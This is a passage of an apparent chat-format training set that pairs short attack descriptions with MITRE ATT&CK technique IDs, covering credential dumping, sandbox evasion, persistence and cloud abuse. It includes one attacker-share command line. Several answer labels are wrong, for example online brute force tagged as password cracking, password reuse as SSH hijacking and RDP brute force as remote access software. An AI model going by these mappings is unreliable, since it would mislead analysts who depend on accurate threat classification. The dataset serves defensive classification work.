                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromised an AWS Lambda function by injecting malicious JavaScript code that exfiltrates data whenever the function is invoked."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a brute force attack on a cloud-based service, attempting to guess login credentials through rapid successive attempts."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool contacts the cloud metadata endpoint to harvest AWS access keys and session tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets remote workers with a fake IT support email that directs them to install a fake security tool."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a GET request to the container management API's /secrets endpoint, which is exposed without auth, to collect credential data."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation script is stored as \"setup .ps1\" with a trailing space before the .ps1 extension to avoid detection by script analysis tools."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects malicious code into the Nginx server's startup scripts to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sent a malicious email that appeared to come from the CEO, requesting a wire transfer."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a web conference application and injects code that silently activates the participant's webcam to record video during meetings."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the 'lsusb' utility on a compromised Linux host to enumerate USB peripherals."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Google Cloud SDK, the adversary modified the IAM bindings of a storage bucket to grant themselves objectViewer permissions."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload includes a check for the system's boot time and deliberately sleeps for a pre-defined duration if the boot time is recent, evading sandbox analysis that typically starts immediately after VM creation."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An implant changed the security descriptor of the Windows Event Log files to prevent detection."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed indicator removal by sanitizing the system: it erased its registry autorun entries and cleared the Linux syslog of related events."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Google dorking to locate publicly exposed documents containing internal IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a legitimate software update mechanism to patch the system image, embedding malicious code."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script performed an SMB share scan across the subnet to discover publicly accessible network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set packages exfiltrated logs into a RAR file to bypass data loss prevention."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses hexadecimal encoding to store its configuration data on disk."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries buy confidential product design files of a pharmaceutical company from an insider source."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary executes 'ifconfig' on a Linux host to retrieve interface configurations and external IP information."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor initiates a Remote Desktop Protocol tunnel to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool checks for mouse movement events and terminates if it detects a static cursor position for an extended period."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installs a keylogger on the victim's workstation to record all keystrokes entered into applications."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edited a malicious .plist file to change system launch agents and gain persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor enumerates social media profiles and public forums for mentions of internal project names and upcoming releases."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages direct memory writes to a legitimate process to execute malicious instructions without creating a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the incident, the attacker performed a credential dump by reading the securityd process memory to obtain plaintext passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a legitimate corporate proxy to forward malicious payloads, effectively using the proxy as a pivot point."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed a Windows API call to backdate the timestamps of renamed DLLs, making them appear older than they are."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies domain policy to assign the attacker-controlled computer to the privileged “Local Administrators” group on all machines."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor queries the SMBIOS data for manufacturer strings such as \"QEMU\" or \"Microsoft Corporation\" to spot virtualization."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a botnet of compromised routers to perform DNS amplification attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group sets up a hidden web service that collects encrypted files from infected machines via outbound TLS connections, never sending data back."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests the contents of the recycle bin to retrieve deleted files."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team deploys a launch daemon that executes a memory scraping tool to harvest encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By monitoring the victim’s webinars and panel discussions, the attacker identifies presenters who likely hold influential or high‑access roles within the organization."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the Windows Command Shell, the attacker executed \"whoami\" to identify the current user context."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder extracts credentials by dumping the contents of the LSASS process using a custom C++ tool."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group encrypts exfiltrated files within a symmetric channel before uploading them to a cloud storage endpoint."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user receives a LinkedIn message from a fake recruiter containing a link to a supposed job application form; the form downloads and executes a keylogger when submitted."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor obtains a valid Google Cloud Platform user account via phishing and exfiltrates data from Cloud Storage."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a malicious .NET assembly with regsvcs.exe, causing it to run with elevated privileges via COM hijacking."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the .NET profiler hijack technique by setting COR_PROFILER to point to a malicious DLL, causing the target app to load it on startup."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the firmware update mechanism to install a hidden bootkit in the system's firmware, surviving OS reinstallations."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential dumping, the adversary retrieves a saved SSH password and uses it to connect to the same remote host, bypassing multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a persistent launch agent that starts a hidden process each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining SYSTEM privileges, the adversary reads LSASS to retrieve cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the legitimate Windows System Binary MMC to proxy execution of a PowerShell script embedded in a custom MMC snap‑in."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a PowerShell command to export Credential Manager entries from the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a routine that disables Windows Event Log alerts for ransomware activity, preventing any indication of the attack from appearing in the system logs."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Researchers of the threat group collect details about the target’s personnel hierarchy, focusing on key role identification."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts saved browser passwords from the user's Chrome profile by reading the Login Data SQLite file."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script ran `net use Z: \\\\attacker\\data /delete` to erase the Z: drive association with the attacker-controlled SMB share."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary writes a malicious executable into the memory of explorer.exe and then resumes the thread to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware author acquires code signing certificates via black market vendors to legitimize their binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application is manipulated to perform recursive function calls without exit conditions, resulting in stack overflow and endpoint unresponsiveness."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors abuse Windows Remote Desktop Protocol (RDP) by brute-forcing credentials and maintaining a remote session for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group maps the victim’s network by analyzing BGP route announcements for the target’s IP blocks."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a script to list peripheral device information, including serial numbers and device types, to map the target environment."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad actor sends a request to the Salesforce Identity API to enumerate permission sets and group assignments."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hides its configuration data by XOR-ing it with a static key and storing it in an image file’s metadata."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses WMI queries to retrieve the \"Manufacturer\" and \"Model\" fields, aborting if they indicate a virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses environment variable manipulation to alter the PATH and execute rogue binaries."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a container escape via a privileged Docker container, copying the host's /etc/shadow file to exfiltrate credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a systemd unit with an ExecStartPre that fetches additional malware before running."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware includes anti-forensic capabilities to erase evidence of its activity after escalating its privileges and completing its objectives."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code exploits a misconfigured SharePoint site to bypass authentication and download all publicly shared reports."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hides malicious PowerShell scripts inside the metadata of PNG images, which are later downloaded by the victim and executed after extraction."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote administration tool runs a command that queries the Exchange server's mail store API, extracting all messages from a specific folder."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a copy of cmd.exe but renames it to explorer.exe, allowing it to execute with trusted file signatures."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a supplier's legitimate access to gather details on the victim's corporate affiliations and partnership agreements."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set leverages compromised credentials to request AS‑REP messages for service accounts lacking pre‑authentication, enabling offline cracking of Kerberos hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Android trojan requests the CAMERA permission and then records video in the background while the user thinks the app is idle."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compresses the malicious executable with UPX, hiding its actual code until runtime."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a domain generation algorithm (DGA) to compute domain names that are resolved to locate control servers."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
